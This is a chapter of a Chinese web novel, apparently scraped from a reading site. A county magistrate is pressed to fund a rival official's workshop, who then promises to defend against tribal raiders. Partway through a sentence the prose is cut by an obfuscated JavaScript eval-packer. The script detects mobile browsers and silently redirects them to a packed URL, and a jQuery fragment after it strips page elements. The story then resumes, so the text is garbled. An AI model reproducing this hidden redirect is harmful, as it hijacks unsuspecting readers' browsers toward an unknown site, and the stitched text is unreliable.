“怎会不怕呢,但是好容易能挣钱了,谁又愿意放弃?”官舍里,张县令的妻子才刚接见了一批女眷,回来便对张县令如此道。难得这些女眷终于朝外头迈出去了,若要让她们再缩回去又实在不甘心。 张县令哼了一声:“你总是替裴杼说好话。” 杨夫人不服:“我几时帮过别人了?只是就事论事而已。衙门投了那么多钱,总不能半途而废。再者,连那些姑娘们都不怕,你们这些大老爷们怕什么?不过区区四十几个胡人而已,怎么就值得你们吓得心神不稳了?说句粗俗的,那么点人,一人一口唾沫也能将他们淹死,何必因噎废食呢?” 反正杨夫人不懂这些人对胡人的恐惧究竟从何而来?人家永宁县百姓如今都不怕,他们安平县还隔着一层有什么好畏惧的? 张县令听了夫人的话,心中不禁开始动摇。 可随即又有县衙的官员反复规劝,让他务必顶住裴杼的甜言蜜语,绝对不能答应。安平县又不是什么富贵地方,哪能无止境地往外掏钱?永宁县想修缮赠春坊,去找别的县借钱啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15104827|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,逮着他们不放算什么? 不能给! 一个子儿都不行! 安平县诸官吏上下齐心,外头那些女眷又日日催促,可怜的张县令又一次再给与不给的拉扯中倍觉煎熬。 一边不让给,一边又催着赶紧给,怎么做都过不了良心这一关。可他明明不需要承受这些的,只要没遇见裴杼就行。 若只有这些也就算了,直接惹恼张县令的是其他三位县令的来信。 那三个也不知打哪儿听说了这消息,不约而同地写信过来嘲讽。虽然讽刺裴杼居多,但字里行间透露出对安平县的幸灾乐祸也是跃然纸上。 都在看热闹,都是打从心底里觉得安平县跟永宁县就是自食其果,活该穷一辈子。岂有此理,真是岂有此理!张县令都快要气炸了,他还被人这般嘲讽过。 凭什么都瞧不起他? 不就是比他富裕了一点儿吗,三十年河东,三十年河西,今后如何还不一定呢,得意什么? 越想越气,张县令恨不得驾车过去跟他们大吵个三天三夜。 恰在此时,裴杼又登门了,他这回过来可是带着十二分的诚意。裴杼也知道张县令担心什么,无非是怕工坊再次被破坏,即便他承诺了一次又一次,可口头保证永远不能叫人安心。 于是这两天,裴杼一直叫人日夜训练,成果十分显著:“张大人,若您不信可以亲自去瞧瞧,如今永宁县的三十多名差役已经跟以往大不相同了,绝对不会在胡人手下吃亏。附近的百姓也自发组建巡逻军,若有异动,随时都能前来援助。” 裴杼还在慷慨陈词,压根没注意到张县令正怒火中烧,连手中的信纸都被他团成一团,不断地捏圆搓扁。 “燕山通往永宁县与工坊的所有路段都设置了层层关卡,胡人真敢下来也得脱一层皮。”说完,裴杼还掏出了他研制的信号弹,买火药的钱是从郑兴成那里掏的,正值生死存亡之际,郑县丞不借也得借。 他献宝一样地道:“上回胡人之所以得逞,不过是消息传递不到位,若是他们下山时永宁县百姓便都能收到消息,胡人将在劫难逃。而此物,便是沟通之利器,比鸣镝声音更响、传播更远。只要碰到胡人,差役就会在山脚下燃放此弹,永宁县即刻全城戒严!” 张县令咽不下这口气,咬牙将信扔到了窗外,冷眼扫过这什么信号弹,除了后面几句话,前面喋喋不休的那些他根本没听进去一句。想到那些人这么耻笑他,张县令便心中的邪火又上来了,一时冲动便道:“倘若下回胡人来犯,永宁县能顺利退敌,我便让县衙借钱给你重整赠春坊。” “真的吗?”惊喜来得太过,裴杼眼中像是聚集了星光一样,亮得叫人心折。 张县令将他的脸推得远一些:“得意什么,须得打一场漂亮的翻身仗才行。上次只是四十人,谁知道下回是不是四百、四千呢?” 裴杼一想,也不是没有这个可能,但好歹有希望,若宝日金没说大话,胡人南下也就在这几天的功夫了。不成,他还得再仔细着点。 撂下一句“等我的好消息”后,裴杼便又风风火火地往回跑。 张县令目送他离开,逐渐抚平心中的躁动与恨意。 希望裴杼这回不要让他太失望。 其实不用张县令如何敦促,裴杼都会全力以赴。今日返程不似往日毫无指望,裴杼不知有多高兴,加上他骑马也骑得越发熟练了,带着成四完全不成问题。尽管没有登科及第的大喜,裴杼依旧文绉绉地拽了一句“春风得意马蹄疾”,还觉得自己好有才华,才成四的吹捧之下准备再拽一句。 霎时间,面前忽然出现一个黑影,裴杼下意识勒紧了缰绳。 马儿嘶鸣了几声,前蹄踏空,重重地落在地上,转了两圈之后才终于安稳停下。 裴杼吓得心都快要蹦出来了,下马之后赶忙去查看情况,只见不远处躺着一个小山一样的壮汉。他才刚走近,便被那人一把抓住了腿,力道极大,裴杼根本撼动不了半分。 裴杼吓得冷汗直流,不要过来啊! 狼狈下马的成四见状一声猛喝,地上那人艰难抬头看了裴杼一眼,张开嘴时却只来得及蹦出一个字:“饿……” 随即便晕了。